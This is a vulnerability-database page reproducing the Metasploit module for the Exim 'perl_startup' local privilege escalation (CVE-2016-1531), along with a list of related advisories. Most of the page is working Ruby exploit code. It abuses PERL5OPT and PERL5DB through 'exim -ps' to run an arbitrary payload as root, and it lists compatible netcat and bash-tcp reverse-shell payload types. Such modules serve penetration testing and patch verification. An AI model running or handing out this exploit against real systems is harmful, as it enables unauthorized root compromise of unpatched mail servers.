Lucene search
K

Exim - 'perl_startup' Privilege Escalation (Metasploit)

🗓️ 15 Apr 2016 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 137 Views

Exim "perl_startup" Privilege Escalation vulnerability in Exim < 4.86.

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Exim 4.84-3 - Privilege Escalation
9 Mar 201600:00
zdt
0day.today
Exim < 4.86.2 - Privilege Escalation
10 Mar 201600:00
zdt
FreeBSD
exim -- local privillege escalation
26 Feb 201600:00
freebsd
ArchLinux
exim: privilege escalation
10 Mar 201600:00
archlinux
Circl
CVE-2016-1531
9 Mar 201600:00
circl
CNVD
Exim Configuration File Path Elevation of Privilege Vulnerability
7 Mar 201600:00
cnvd
CVE
CVE-2016-1531
7 Apr 201623:00
cve
Cvelist
CVE-2016-1531
7 Apr 201623:00
cvelist
Debian
[SECURITY] [DSA 3517-1] exim4 security update
14 Mar 201605:48
debian
Debian
[SECURITY] [DSA 3517-1] exim4 security update
14 Mar 201605:48
debian
Rows per page
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Local
 
  Rank = ExcellentRanking
 
  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Exim "perl_startup" Privilege Escalation',
      'Description'     => %q{
        This module exploits a Perl injection vulnerability in Exim < 4.86.2
        given the presence of the "perl_startup" configuration parameter.
      },
      'Author'          => [
        'Dawid Golunski', # Vulnerability discovery
        'wvu'             # Metasploit module
      ],
      'References'      => [
        %w{CVE 2016-1531},
        %w{EDB 39549},
        %w{URL http://www.exim.org/static/doc/CVE-2016-1531.txt}
      ],
      'DisclosureDate'  => 'Mar 10 2016',
      'License'         => MSF_LICENSE,
      'Platform'        => 'unix',
      'Arch'            => ARCH_CMD,
      'SessionTypes'    => %w{shell meterpreter},
      'Privileged'      => true,
      'Payload'         => {
        'BadChars'      => "\x22\x27", # " and '
        'Compat'        => {
          'PayloadType' => 'cmd cmd_bash',
          'RequiredCmd' => 'generic netcat netcat-e bash-tcp telnet'
        }
      },
      'Targets'         => [
        ['Exim < 4.86.2', {}]
      ],
      'DefaultTarget'   => 0
    ))
  end
 
  def check
    if exploit('whoami') == 'root'
      CheckCode::Vulnerable
    else
      CheckCode::Safe
    end
  end
 
  def exploit(c = payload.encoded)
    # PERL5DB technique from http://perldoc.perl.org/perlrun.html
    cmd_exec(%Q{PERL5OPT=-d PERL5DB='exec "#{c}"' exim -ps 2>&-})
  end
 
end

#  0day.today [2018-03-19]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Apr 2016 00:00Current
0.4Low risk
Vulners AI Score0.4
EPSS0.5677
137